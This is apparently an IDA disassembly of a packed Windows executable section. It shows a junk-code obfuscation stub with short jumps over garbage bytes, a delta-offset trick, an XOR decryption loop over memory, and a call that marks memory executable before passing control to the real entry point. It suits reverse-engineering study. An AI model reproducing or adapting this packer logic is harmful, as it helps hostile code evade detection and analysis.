		dd 0E026129Fh, 0CCAC50D7h, 4A1446B0h, 6A89F61Ch, 0D33FFE64h
		dd 0C48AB1E7h, 0D064446Ah, 61F9FC98h, 7257E42Dh, 0C3350985h
		dd 0E64AD5EBh, 0A9337303h, 2A16C715h, 92802F27h, 0A66EC515h
		dd 0B4826407h, 873DB376h, 0D27AA6FEh, 1367101h,	0C22D0E00h
		dd 0ADFF3624h, 0EDCA117Bh, 29719F59h, 0DC3F6480h, 0C2B83575h
		dd 168B781h, 0BD58C29h,	0DBDB3A57h, 0D10A0402h,	0AEE59F56h
		dd 0DA918A05h, 5567D911h, 0B4F32BEDh, 49DE0B6Eh, 0BE38E0AEh
		dd 40694E2Eh, 0FF7BE7FDh, 0D7E81CE2h, 3BB989B0h, 0BCDF35B0h
		dd 99A4F667h, 2D464780h, 3A3B82FDh, 7B29D78Fh, 0B2D91652h
		dd 1125E5EEh, 2DDEE4A2h, 6C0E5B4Fh, 2C2C988Ah, 7A2C5DF9h
		dd 0C0DA76B3h, 0FF300BABh, 0B751561Ah, 0B18B30FEh, 0E0F3C14Eh
		dd 0CF603CFFh, 0E302D77Ah, 2453625h, 0C1AF7B93h, 0D566CDE1h
		dd 0DB259E74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6E63Ch
		pusha
		mov	eax, 8BE55D3Ah
		push	eax
		jmp	short loc_46E669
; ---------------------------------------------------------------------------
		dd 0ADB80554h, 0D753EC6Ch, 3AB4EE6Eh, 0B05BCE14h, 0B6015DD0h
		dd 3F754911h, 5BAA10F2h
		db 0C7h
; ---------------------------------------------------------------------------


loc_46E669:				; CODE XREF: DMN1:0046E64Aj
		jmp	short loc_46E677
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0ED7B5937h, 0CCBB2CA3h
		db 55h,	26h, 0D1h
; ---------------------------------------------------------------------------


loc_46E677:				; CODE XREF: DMN1:loc_46E669j
		or	eax, 0FFFFFFFFh
		jmp	short loc_46E67D
; ---------------------------------------------------------------------------
		stc


loc_46E67D:				; CODE XREF: DMN1:0046E67Aj
		jmp	short loc_46E680
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_46E680:				; CODE XREF: DMN1:loc_46E67Dj
		inc	eax
		jmp	short loc_46E68F
; ---------------------------------------------------------------------------
		db 7Bh
		dd 567FB0BFh, 0DA5300D9h
		db 0F3h, 3Ch, 0F5h
; ---------------------------------------------------------------------------


loc_46E68F:				; CODE XREF: DMN1:0046E681j
		jmp	short loc_46E692
; ---------------------------------------------------------------------------
		db 0CAh
; ---------------------------------------------------------------------------


loc_46E692:				; CODE XREF: DMN1:loc_46E68Fj
		xchg	ecx, eax
		cmc
		bswap	edx
		xor	edx, 0DE16CA12h
		jmp	short loc_46E6A9
; ---------------------------------------------------------------------------
		db 0F8h
		dd 0B986D112h, 72A24CDCh
		db 0BCh
; ---------------------------------------------------------------------------


loc_46E6A9:				; CODE XREF: DMN1:0046E69Dj
		jmp	short loc_46E6AE
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0C5h, 24h
; ---------------------------------------------------------------------------


loc_46E6AE:				; CODE XREF: DMN1:loc_46E6A9j
		jmp	short loc_46E6CA
; ---------------------------------------------------------------------------
		dd 7F7D9952h, 5CF70044h, 0E1517590h, 0ED57B87Ah, 1087DD34h
		dd 2413C033h
		db 84h,	94h
; ---------------------------------------------------------------------------


loc_46E6CA:				; CODE XREF: DMN1:loc_46E6AEj
		jmp	short loc_46E6D9
; ---------------------------------------------------------------------------
		dd 530EDA78h, 38EEB3AAh, 0A5343470h
		db 84h
; ---------------------------------------------------------------------------


loc_46E6D9:				; CODE XREF: DMN1:loc_46E6CAj
		xor	ebx, 0E5BF846Fh
		not	edi
		jmp	short loc_46E6F9
; ---------------------------------------------------------------------------
		db 39h
		dd 0CED76969h, 1D162CC4h, 7DE13031h, 3EEAA979h,	78C7BF7Dh
		db 62h
; ---------------------------------------------------------------------------


loc_46E6F9:				; CODE XREF: DMN1:0046E6E1j
		jmp	short loc_46E711
; ---------------------------------------------------------------------------
		db 72h
		dd 0ED225BB1h, 0CE0F489Ch, 0DEE6D2F3h, 0F03D3707h, 6E3DE3C9h
		db 0E8h
; ---------------------------------------------------------------------------


loc_46E711:				; CODE XREF: DMN1:loc_46E6F9j
		jmp	short loc_46E71F
; ---------------------------------------------------------------------------
		cmp	[edi+1AD618A2h], ch
		stc
		test	al, 3Dh
		or	esi, [esi+39h]


loc_46E71F:				; CODE XREF: DMN1:loc_46E711j
		or	ecx, 41000h
		jmp	short loc_46E732
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8625A3F1h, 940D3D8Ch
; ---------------------------------------------------------------------------
		fnstenv	byte ptr [edi]


loc_46E732:				; CODE XREF: DMN1:0046E725j
		rcr	edx, 1
		jmp	short loc_46E73E
; ---------------------------------------------------------------------------
		dw 6B07h
		dd 8C34D1B4h
		db 1Ah,	0A2h
; ---------------------------------------------------------------------------


loc_46E73E:				; CODE XREF: DMN1:0046E734j
		jmp	short loc_46E749
; ---------------------------------------------------------------------------
		dd 95E67B76h, 50097B94h
		db 10h
; ---------------------------------------------------------------------------


loc_46E749:				; CODE XREF: DMN1:loc_46E73Ej
		jmp	short loc_46E764
; ---------------------------------------------------------------------------
		db 28h
		dd 0F95A4B6h, 0B8B5F61Fh, 81216E48h, 0CB6F5EB2h, 23FDBB2Ch
		dd 8AB43B5Ah
; ---------------------------------------------------------------------------


loc_46E764:				; CODE XREF: DMN1:loc_46E749j
		jmp	short loc_46E778
; ---------------------------------------------------------------------------
		dw 8225h
		dd 1B3E362Ah, 0A31D7EBh, 0F33B2B50h, 424191EBh
; ---------------------------------------------------------------------------


loc_46E778:				; CODE XREF: DMN1:loc_46E764j
		jmp	short loc_46E792
; ---------------------------------------------------------------------------
		dw 0FE1h
		dd 61168728h, 0B6E61944h, 0B6F2E075h, 0F084413Ah, 7F985D21h
		db 87h,	52h
; ---------------------------------------------------------------------------


loc_46E792:				; CODE XREF: DMN1:loc_46E778j
		jmp	short loc_46E7AE
; ---------------------------------------------------------------------------
		dd 90BDE381h, 0AEB51133h, 59B18CA5h, 0B7A91B8Ah, 0CEEAEDE2h
		dd 100C28B7h
; ---------------------------------------------------------------------------
		mov	al, 0FDh


loc_46E7AE:				; CODE XREF: DMN1:loc_46E792j
		jmp	short loc_46E7C9
; ---------------------------------------------------------------------------
		dd 0BC8D4A59h, 0D2CFDDF5h, 0F988697Ah, 0D213A528h, 0FB7573A0h
		dd 0E579A9F3h
		db 15h
; ---------------------------------------------------------------------------


loc_46E7C9:				; CODE XREF: DMN1:loc_46E7AEj
		jmp	short loc_46E7D6
; ---------------------------------------------------------------------------
		db 7Ah
		dd 0F56E1A5Ah, 0E7BE4319h
; ---------------------------------------------------------------------------
		pop	edx
		popa


loc_46E7D6:				; CODE XREF: DMN1:loc_46E7C9j
		jmp	short loc_46E7E2
; ---------------------------------------------------------------------------
		dd 0E449E57Fh, 8F1F10BCh
		db 0F0h, 19h
; ---------------------------------------------------------------------------


loc_46E7E2:				; CODE XREF: DMN1:loc_46E7D6j
		jmp	short loc_46E802
; ---------------------------------------------------------------------------
		dd 4D7F32Ah, 2231709Eh,	5CAB97C8h, 6195ABB4h, 0BE4702E7h
		dd 2ECC5E7Ah, 24E1342Dh
		db 0E9h, 0BEh
; ---------------------------------------------------------------------------


loc_46E802:				; CODE XREF: DMN1:loc_46E7E2j
		mov	esi, 0B506h


loc_46E807:				; CODE XREF: DMN1:0046EC8Aj
		jmp	short loc_46E81D
; ---------------------------------------------------------------------------
		db 7Eh,	83h, 0B9h
		dd 265FC658h, 0D990D90h, 36FD999Dh, 15B68ACCh
		db 4Ch
; ---------------------------------------------------------------------------


loc_46E81D:				; CODE XREF: DMN1:loc_46E807j
		jmp	short loc_46E825
; ---------------------------------------------------------------------------
		dec	ebp
		cmp	byte ptr [ebx],	2Ch
		jo	short near ptr byte_46E833


loc_46E825:				; CODE XREF: DMN1:loc_46E81Dj
		jmp	short loc_46E834
; ---------------------------------------------------------------------------
		db 51h
		dd 8DCD165Fh, 0EAD50744h
		db 9Eh,	10h, 0B2h
byte_46E833	db 0F2h			; CODE XREF: DMN1:0046E823j
; ---------------------------------------------------------------------------


loc_46E834:				; CODE XREF: DMN1:loc_46E825j
		cmc
		jmp	short loc_46E84D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 44C921E3h, 0E567B7E1h, 3111DF04h, 47187471h,	768B2CD7h
; ---------------------------------------------------------------------------
		das


loc_46E84D:				; CODE XREF: DMN1:0046E835j
		jmp	short loc_46E864
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0AB2B52A5h, 8F76B146h, 5D2120A3h, 0A79E78C8h, 0F900A01Ah
; ---------------------------------------------------------------------------


loc_46E864:				; CODE XREF: DMN1:loc_46E84Dj
		jmp	short loc_46E86A
; ---------------------------------------------------------------------------
		dw 87D9h
		db 0DEh, 76h
; ---------------------------------------------------------------------------


loc_46E86A:				; CODE XREF: DMN1:loc_46E864j
		jmp	short loc_46E871
; ---------------------------------------------------------------------------
		mov	ds:532DA24Ah, eax


loc_46E871:				; CODE XREF: DMN1:loc_46E86Aj
		jmp	short loc_46E88D
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		or	al, 70h
		push	ss
		retn	0FE52h
; ---------------------------------------------------------------------------
		dw 0DCA4h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 4Ah,	82h, 0CBh
		dd 4CD3F3Bh, 8C1C13DAh,	0D231FFA6h
		db 0D9h
; ---------------------------------------------------------------------------


loc_46E88D:				; CODE XREF: DMN1:loc_46E871j
		jmp	short loc_46E8AE
; ---------------------------------------------------------------------------
		db 6
		dd 0ADBDC58Dh, 0E4F40D80h, 99D5065Bh, 872646F3h, 0C15A629Fh
		dd 2D5B8D07h, 19530ACBh
; ---------------------------------------------------------------------------
		pop	ss
		setalc


loc_46E8AE:				; CODE XREF: DMN1:loc_46E88Dj
		jmp	short loc_46E8B1
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------


loc_46E8B1:				; CODE XREF: DMN1:loc_46E8AEj
		cmc
		xchg	ebp, ebp
		jmp	short loc_46E8BA
; ---------------------------------------------------------------------------
		test	byte ptr [edx-44h], 0FAh


loc_46E8BA:				; CODE XREF: DMN1:0046E8B4j
		jmp	short loc_46E8D8
; ---------------------------------------------------------------------------
		dd 0FD98468Bh, 73C8E9C0h, 2062FD7Dh, 3A87B49Eh,	3907E728h
		dd 8472BF59h, 33BD9996h
; ---------------------------------------------------------------------------


loc_46E8D8:				; CODE XREF: DMN1:loc_46E8BAj
		jmp	short loc_46E8DB
; ---------------------------------------------------------------------------
		dec	ebp


loc_46E8DB:				; CODE XREF: DMN1:loc_46E8D8j
		jmp	short $+2
		jmp	short loc_46E8ED
; ---------------------------------------------------------------------------
		db 2Fh
		dd 1C00AD09h, 0D66E14ECh, 633C242Fh
		db 6Eh
; ---------------------------------------------------------------------------


loc_46E8ED:				; CODE XREF: DMN1:0046E8DDj
		jmp	short loc_46E8F5
; ---------------------------------------------------------------------------
		db 9Eh
		dd 841FF8B7h
; ---------------------------------------------------------------------------
		pop	edi


loc_46E8F5:				; CODE XREF: DMN1:loc_46E8EDj
		xchg	edx, edi
		not	edx
		xor	edi, 0CBD77CF6h
		clc
		jmp	short loc_46E918
; ---------------------------------------------------------------------------
		dw 4711h
		dd 177C9964h, 0B6B141F9h, 4CEA7670h, 0CF1C1079h, 392DFBDDh
; ---------------------------------------------------------------------------


loc_46E918:				; CODE XREF: DMN1:0046E900j
		rcr	ebx, cl
		mov	edi, ebp
		jmp	short loc_46E925
; ---------------------------------------------------------------------------
		dw 0E51Eh
		dd 8BDD12CEh
		db 4Ch
; ---------------------------------------------------------------------------


loc_46E925:				; CODE XREF: DMN1:0046E91Cj
		jmp	short loc_46E934
; ---------------------------------------------------------------------------
		push	esi
		xor	al, 9Fh
		daa
		and	[edi], cl
		add	dword ptr [edx+4Dh], 4DB51B3Fh


loc_46E934:				; CODE XREF: DMN1:loc_46E925j
		cmc
		jmp	short loc_46E94A
; ---------------------------------------------------------------------------
		adc	eax, 1429825Fh
		push	25C562F5h
		stosd
		xchg	ch, bl
		sub	edx, [esi-783C6ABh]


loc_46E94A:				; CODE XREF: DMN1:0046E935j
		or	edx, 45F45531h
		jmp	short loc_46E95B
; ---------------------------------------------------------------------------
		dw 717Fh
		dd 726F2EDEh
		db 6Fh,	6Ah, 0FDh
; ---------------------------------------------------------------------------


loc_46E95B:				; CODE XREF: DMN1:0046E950j
		inc	edx
		jmp	short loc_46E967
; ---------------------------------------------------------------------------
		dw 37FAh
		dd 4B45EC36h
; ---------------------------------------------------------------------------
		rcr	dword ptr [ecx], 0C4h


loc_46E967:				; CODE XREF: DMN1:0046E95Cj
		sar	edx, cl
		jmp	short loc_46E988
; ---------------------------------------------------------------------------
		pop	edi
		retf
; ---------------------------------------------------------------------------
		db 30h,	5Ah, 25h
		dd 0C9FA793Dh, 0F02AD776h, 72FC9981h, 0FAE2B28Ah, 7634E66h
		dd 3B863FDBh
; ---------------------------------------------------------------------------


loc_46E988:				; CODE XREF: DMN1:0046E969j
		add	edi, ecx


loc_46E98A:				; CODE XREF: DMN1:0046E9D3j
		xchg	ecx, eax
		cmc
		jmp	short loc_46E9A6
; ---------------------------------------------------------------------------
		db 0A4h
		dd 1DEFD760h, 0DC0378F7h, 0D90E448Ch, 0DAA577BAh, 6B4F5837h
; ---------------------------------------------------------------------------
		fadd	st(7), st


loc_46E9A6:				; CODE XREF: DMN1:0046E98Dj
		stc
		clc
		jmp	short loc_46E9C2
; ---------------------------------------------------------------------------
		dw 0F374h
		dd 0A729DCA7h, 0A8D8C1D6h, 0F5E1E61Eh, 967D12F5h, 0A62ABD84h
		db 0EDh, 53h
; ---------------------------------------------------------------------------


loc_46E9C2:				; CODE XREF: DMN1:0046E9A8j
		jmp	short loc_46E9D1
; ---------------------------------------------------------------------------
		dd 0B7211B2Dh, 6AB01780h, 0A19262C0h
		db 7Ch
; ---------------------------------------------------------------------------


loc_46E9D1:				; CODE XREF: DMN1:loc_46E9C2j
		jmp	short loc_46E9D5
; ---------------------------------------------------------------------------
		js	short loc_46E98A


loc_46E9D5:				; CODE XREF: DMN1:loc_46E9D1j
		mov	ecx, [edi]
		not	edi
		jmp	short loc_46E9F1
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0EE13D5E8h, 0DAA2D36h, 244A62E9h, 4081AC20h,	1F339085h
; ---------------------------------------------------------------------------
		dec	edi


loc_46E9F1:				; CODE XREF: DMN1:0046E9D9j
		xor	ecx, [esp]
		jmp	short loc_46EA01
; ---------------------------------------------------------------------------
		dw 6C57h
		dd 20C38D58h, 52745815h
		db 89h
; ---------------------------------------------------------------------------


loc_46EA01:				; CODE XREF: DMN1:0046E9F4j
		jmp	short loc_46EA22
; ---------------------------------------------------------------------------
		db 0Dh
		dd 979CB8D3h, 3DFFBF11h, 2A286AA6h, 9AC0AA9Dh, 0A4704649h
		dd 9202D4CBh, 5D7FF4BCh
		db 26h,	0BFh
; ---------------------------------------------------------------------------


loc_46EA22:				; CODE XREF: DMN1:loc_46EA01j
		jmp	short loc_46EA28
; ---------------------------------------------------------------------------
		dd 3446FA36h
; ---------------------------------------------------------------------------


loc_46EA28:				; CODE XREF: DMN1:loc_46EA22j
		xchg	ecx, [esp]
		jmp	short loc_46EA3A
; ---------------------------------------------------------------------------
		db 2Dh,	0ABh, 41h
; ---------------------------------------------------------------------------
		mov	dword ptr [ecx+73A5F98Bh], 0ECF19DABh


loc_46EA3A:				; CODE XREF: DMN1:0046EA2Bj
		rcr	edi, 1
		bswap	edi
		jmp	short loc_46EA51
; ---------------------------------------------------------------------------
		dd 24C82075h, 73217997h, 2B38E8DCh, 5C13C955h
		db 0D2h
; ---------------------------------------------------------------------------


loc_46EA51:				; CODE XREF: DMN1:0046EA3Ej
		cld
		test	ebx, 87096B2Fh
		jmp	short loc_46EA6C
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D3h
		dd 1483EBFFh, 0D8C546F2h, 98AD6195h, 2F9E2D72h
; ---------------------------------------------------------------------------


loc_46EA6C:				; CODE XREF: DMN1:0046EA58j
		jmp	short loc_46EA73
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0D3h
		db 97h,	1Eh, 64h
; ---------------------------------------------------------------------------


loc_46EA73:				; CODE XREF: DMN1:loc_46EA6Cj
		clc
		add	ecx, 9C66121Bh
		jmp	short loc_46EA82
; ---------------------------------------------------------------------------
		dd 8FE17DDDh
		db 0FCh, 70h
; ---------------------------------------------------------------------------


loc_46EA82:				; CODE XREF: DMN1:0046EA7Aj
		xchg	edi, ebx
		xchg	esi, eax
		ror	ecx, 1
		clc
		stc
		jmp	short loc_46EA92
; ---------------------------------------------------------------------------
		dd 0EBA1F3D3h
		db 92h,	0B9h
; ---------------------------------------------------------------------------


loc_46EA92:				; CODE XREF: DMN1:0046EA8Aj
		jmp	short loc_46EAB2
; ---------------------------------------------------------------------------
		dd 0BD8E9448h, 3A095649h, 4630B1C1h, 4403CD13h,	0F399B291h
		dd 0E1B3AF2Ch, 0B05E9ACDh
		db 0C8h, 50h
; ---------------------------------------------------------------------------


loc_46EAB2:				; CODE XREF: DMN1:loc_46EA92j
		jmp	short loc_46EACA
; ---------------------------------------------------------------------------
		dd 316AE43Bh, 4BB199B0h, 4C526A1Fh, 4356A06Fh, 1DB2F930h
		db 52h,	0D8h
; ---------------------------------------------------------------------------


loc_46EACA:				; CODE XREF: DMN1:loc_46EAB2j
		xchg	ecx, [esp]
		cld
		jmp	short loc_46EAD9
; ---------------------------------------------------------------------------
		dd 0CF55064Ah, 42436EDBh
; ---------------------------------------------------------------------------
		inc	ecx


loc_46EAD9:				; CODE XREF: DMN1:0046EACEj
		cmc
		neg	edx
		jmp	short loc_46EAF7
; ---------------------------------------------------------------------------
		dw 7781h
		dd 0FA592E87h, 0FE75C5A0h, 73F9D194h, 0FB6E106Eh, 2BA0D5D6h
		db 0F4h, 0A3h, 93h
; ---------------------------------------------------------------------------


loc_46EAF7:				; CODE XREF: DMN1:0046EADCj
		xchg	esp, edx
		mov	ebx, esi
		jmp	short loc_46EB13
; ---------------------------------------------------------------------------
		xor	ds:4020E785h, ecx
		mov	dl, 27h
		retn
; ---------------------------------------------------------------------------
		dw 0E47Fh
		dd 0B288B586h, 0EFF580E0h
		db 26h,	0CCh, 7Fh
; ---------------------------------------------------------------------------


loc_46EB13:				; CODE XREF: DMN1:0046EAFBj
		clc
		jmp	short loc_46EB1E
; ---------------------------------------------------------------------------
		dw 6F24h
		dd 48530770h
		db 91h,	0C5h
; ---------------------------------------------------------------------------


loc_46EB1E:				; CODE XREF: DMN1:0046EB14j
		bswap	esp
		jmp	short loc_46EB33
; ---------------------------------------------------------------------------
		dw 1A4Eh
		dd 0A0944158h, 434DB1DAh, 35C2751Dh
		db 4Fh,	38h, 94h
; ---------------------------------------------------------------------------


loc_46EB33:				; CODE XREF: DMN1:0046EB20j
		jmp	short loc_46EB36
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------


loc_46EB36:				; CODE XREF: DMN1:loc_46EB33j
		add	ebx, ebp
		shl	edi, cl
		jmp	short loc_46EB45
; ---------------------------------------------------------------------------
		dd 0C8FC199Dh, 0BFCBD804h
; ---------------------------------------------------------------------------
		inc	ebp


loc_46EB45:				; CODE XREF: DMN1:0046EB3Aj
		or	edi, 87D6DA72h
		mov	[ebx], ecx
		xchg	esi, esi
		xchg	esp, ecx
		jmp	short loc_46EB70
; ---------------------------------------------------------------------------
		inc	dword ptr [edi-5Dh]
		mov	fs, word ptr [edx+ebp*8-62h]
		xor	eax, 74FBF852h
		adc	eax, 9A878F06h
		xor	al, 72h
		and	eax, 86419AAFh
		test	eax, 8416A2EAh


loc_46EB70:				; CODE XREF: DMN1:0046EB51j
		xchg	ebx, ebp
		jmp	short loc_46EB89
; ---------------------------------------------------------------------------
		dd 34CE64F3h, 0B3FA6AF2h, 0BD8D79D3h, 20A38589h, 0B939AA63h
		db 0C2h
; ---------------------------------------------------------------------------


loc_46EB89:				; CODE XREF: DMN1:0046EB72j
		jmp	short loc_46EB9C
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0F5E740FCh, 0EA6B1AA9h, 2ADC45C0h, 5E8EAD4Fh
; ---------------------------------------------------------------------------


loc_46EB9C:				; CODE XREF: DMN1:loc_46EB89j
		inc	esi
		jmp	short loc_46EBBC
; ---------------------------------------------------------------------------
		db 8Fh
		dd 3095C9F6h, 1CB28BCh,	0F89FC6A6h, 0F21269DCh,	82BFE3EEh
		dd 0A1270CC2h, 0B3730BFAh
; ---------------------------------------------------------------------------


loc_46EBBC:				; CODE XREF: DMN1:0046EB9Dj
		xchg	eax, esp
		jmp	short loc_46EBC4
; ---------------------------------------------------------------------------
		dd 5778E2E0h
; ---------------------------------------------------------------------------


loc_46EBC4:				; CODE XREF: DMN1:0046EBBEj
		bswap	eax
		inc	esi
		jmp	short loc_46EBDC
; ---------------------------------------------------------------------------
		cmp	es:[eax+edx*4-3857766Fh], dl
		cmp	bh, [ecx+3Ch]
		sal	cl, 0B8h
		mov	eax, 2398D959h


loc_46EBDC:				; CODE XREF: DMN1:0046EBC7j
		stc
		xchg	edi, ebp
		clc
		jmp	short loc_46EBF6
; ---------------------------------------------------------------------------
		dw 0C85Fh
		dd 42E188Dh, 55CDB0D2h,	27EE2438h, 0C84E2F9Dh
; ---------------------------------------------------------------------------
		adc	edx, edx


loc_46EBF6:				; CODE XREF: DMN1:0046EBE0j
		add	esi, 1
		cld
		clc
		inc	esi
		xchg	eax, ebx
		jmp	short loc_46EC0F
; ---------------------------------------------------------------------------
		adc	ch, [edx]
		sub	eax, 80958758h
		retf	74E7h
; ---------------------------------------------------------------------------
		dw 884Eh
		db 0EAh, 4Ah, 0CDh
; ---------------------------------------------------------------------------


loc_46EC0F:				; CODE XREF: DMN1:0046EBFEj
		jmp	short loc_46EC18
; ---------------------------------------------------------------------------
		db 1Eh,	0FCh, 99h
		dd 6EAEBA81h
; ---------------------------------------------------------------------------


loc_46EC18:				; CODE XREF: DMN1:loc_46EC0Fj
		dec	esp
		jz	short loc_46EC8F
		jmp	short loc_46EC26
; ---------------------------------------------------------------------------
		db 69h,	0D9h, 0B9h
		dd 6D11B62Ch
		db 0FEh, 29h
; ---------------------------------------------------------------------------


loc_46EC26:				; CODE XREF: DMN1:0046EC1Bj
		cld
		xchg	ecx, esi
		jmp	short loc_46EC40
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0E91927F0h, 2B6C5252h, 0CB86F33h, 313A29D1h,	32D0F639h
; ---------------------------------------------------------------------------


loc_46EC40:				; CODE XREF: DMN1:0046EC29j
		sal	ebp, 1
		cmc
		xchg	esi, esp
		jmp	short loc_46EC63
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0AE27819Fh, 5A316EDEh, 0CE88AD6Dh, 3A63D629h, 45F96C8Bh
		dd 0DA61D6C2h
; ---------------------------------------------------------------------------
		setalc
		sub	al, 0D7h


loc_46EC63:				; CODE XREF: DMN1:0046EC45j
		jmp	short $+2
		xchg	ebp, eax
		jmp	short loc_46EC76
; ---------------------------------------------------------------------------
		sub	eax, 541EA883h
		retf
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		sub	ch, [edx+66B5B4A5h]


loc_46EC76:				; CODE XREF: DMN1:0046EC67j
		jmp	short loc_46EC88
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		cli
		mov	ecx, 90FDA28Bh
		retf	436h
; ---------------------------------------------------------------------------
		dw 674Dh
		dd 5CBB3AAEh
; ---------------------------------------------------------------------------


loc_46EC88:				; CODE XREF: DMN1:loc_46EC76j
		xchg	esp, edx
		jmp	loc_46E807
; ---------------------------------------------------------------------------


loc_46EC8F:				; CODE XREF: DMN1:0046EC19j
		xchg	ebp, eax
		xchg	esp, edx
		jmp	short loc_46EC9B
; ---------------------------------------------------------------------------
		and	[ebx+1B9779B2h], edx


loc_46EC9B:				; CODE XREF: DMN1:0046EC93j
		jmp	short loc_46ECB2
; ---------------------------------------------------------------------------
		db 5Ch,	1, 6Dh
		dd 0E61B36F4h, 697078EFh, 85A75A60h, 0EE76CE67h
		db 0C8h, 40h
; ---------------------------------------------------------------------------


loc_46ECB2:				; CODE XREF: DMN1:loc_46EC9Bj
		jmp	short loc_46ECBD
; ---------------------------------------------------------------------------
		cmp	[edi-41h], ch
		retn
; ---------------------------------------------------------------------------
		and	[ebp+45h], dh
		adc	al, 0FBh


loc_46ECBD:				; CODE XREF: DMN1:loc_46ECB2j
		jmp	short loc_46ECCB
; ---------------------------------------------------------------------------
		db 78h
		dd 26B6FDE1h, 4FB6FD60h
		db 57h,	0AAh, 0E3h
; ---------------------------------------------------------------------------


loc_46ECCB:				; CODE XREF: DMN1:loc_46ECBDj
		jmp	short loc_46ECE7
; ---------------------------------------------------------------------------
		db 2Bh,	0FEh, 23h
		dd 0E2BBA34Eh, 1E774C5h, 0E2B3B6F3h, 1F86D0FFh,	22C84FAEh
		db 9Dh,	0A2h, 0C9h
; ---------------------------------------------------------------------------


loc_46ECE7:				; CODE XREF: DMN1:loc_46ECCBj
		pop	eax
		jmp	short loc_46ECF3
; ---------------------------------------------------------------------------
		dw 360Fh
		dd 0FA129454h
		db 0CDh, 6Fh, 2Dh
; ---------------------------------------------------------------------------


loc_46ECF3:				; CODE XREF: DMN1:0046ECE8j
		jmp	short loc_46ED00
; ---------------------------------------------------------------------------
		db 42h,	0DDh, 0Ch
		dd 0DDE8D65Bh, 9B10ADCCh
; ---------------------------------------------------------------------------


loc_46ED00:				; CODE XREF: DMN1:loc_46ECF3j
		jmp	short loc_46ED16
; ---------------------------------------------------------------------------
		db 0CCh
		db 0DAh
		dd 0B065CFF9h, 0CC99B4D6h, 0A89E7774h, 81CE3CC3h
; ---------------------------------------------------------------------------
		inc	esi
		pusha


loc_46ED16:				; CODE XREF: DMN1:loc_46ED00j
		jmp	short loc_46ED32
; ---------------------------------------------------------------------------
		dd 825610F6h, 0C421CE0Ah, 295CE49Ah, 0CED233C4h, 7C87F81Ch
		dd 9D722EADh
		db 0DDh, 4Eh
; ---------------------------------------------------------------------------


loc_46ED32:				; CODE XREF: DMN1:loc_46ED16j
		jmp	short loc_46ED4B
; ---------------------------------------------------------------------------
		sar	dword ptr [edx], 1
		mov	ecx, 723F6451h
		xchg	eax, esp
		jno	short loc_46EDA0
		xlat
		cdq
		and	ds:70256204h, dh
		sub	eax, 3DC3210Dh


loc_46ED4B:				; CODE XREF: DMN1:loc_46ED32j
		jmp	short loc_46ED61
; ---------------------------------------------------------------------------
		db 9Dh,	0A8h, 51h
		dd 0D172F4A7h, 1F48DC65h, 1A762161h, 969A8519h
; ---------------------------------------------------------------------------
		push	ds


loc_46ED61:				; CODE XREF: DMN1:loc_46ED4Bj
		xor	edi, 30282A12h
		jmp	short loc_46ED7E
; ---------------------------------------------------------------------------
		db 79h,	0D4h, 26h
		dd 23C27CEAh, 0A11412C4h, 3B898699h, 71A6C62Dh
; ---------------------------------------------------------------------------
		sal	dword ptr [eax], cl


loc_46ED7E:				; CODE XREF: DMN1:0046ED67j
		jmp	short loc_46ED97
; ---------------------------------------------------------------------------
		dd 86A38034h, 87CFDBB3h, 0D8B54E94h, 55723EB9h,	1EEC52h
		db 24h,	13h, 0D3h
; ---------------------------------------------------------------------------


loc_46ED97:				; CODE XREF: DMN1:loc_46ED7Ej
		jmp	short loc_46ED9D
; ---------------------------------------------------------------------------
		adc	eax, es:[edi+ecx*4]


loc_46ED9D:				; CODE XREF: DMN1:loc_46ED97j
		jmp	short loc_46EDB4
; ---------------------------------------------------------------------------
		inc	ebp


loc_46EDA0:				; CODE XREF: DMN1:0046ED3Cj
		loop	near ptr dword_46ED18+11h
		or	al, 0D5h
		jmp	far ptr	52CDh:66978FEBh
; ---------------------------------------------------------------------------
		db 0F6h
		dd 61FC045h, 8E15F5B5h
; ---------------------------------------------------------------------------


loc_46EDB4:				; CODE XREF: DMN1:loc_46ED9Dj
		stc
		jmp	short loc_46EDD4
; ---------------------------------------------------------------------------
		db 0EDh
		dd 537196D9h, 0CCB61F63h, 721C0053h, 847A2475h,	0AB7A4772h
		dd 149C16EAh, 4AD3359Fh
; ---------------------------------------------------------------------------


loc_46EDD4:				; CODE XREF: DMN1:0046EDB5j
		jmp	loc_46E1C8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		xor	edx, 20150B62h
		xor	edx, 0EA130C62h
		mov	eax, 400000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-4]
		push	edx
		pusha
		push	0
		lea	edx, [esp]
		push	edx
		push	40h
		push	2DDD9h
		add	dword ptr [esp], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 6E023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	eax, offset sub_407E30
		jmp	eax
start		endp

; ---------------------------------------------------------------------------
		dd 2C0EBA00h, 1AB85F2Dh, 5753B04h, 5437046Eh, 166C231h
		dd 7C2C1C2h, 0E850F1E2h, 0FFFFFF91h
; ---------------------------------------------------------------------------
		leave
		retn
DMN1		ends

; Section 3. (virtual address 0006F000)
; Virtual size			: 00000078 (	120.)
; Section size in file		: 00000078 (	120.)
; Offset to raw	data for section: 0006F000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default
; ===========================================================================
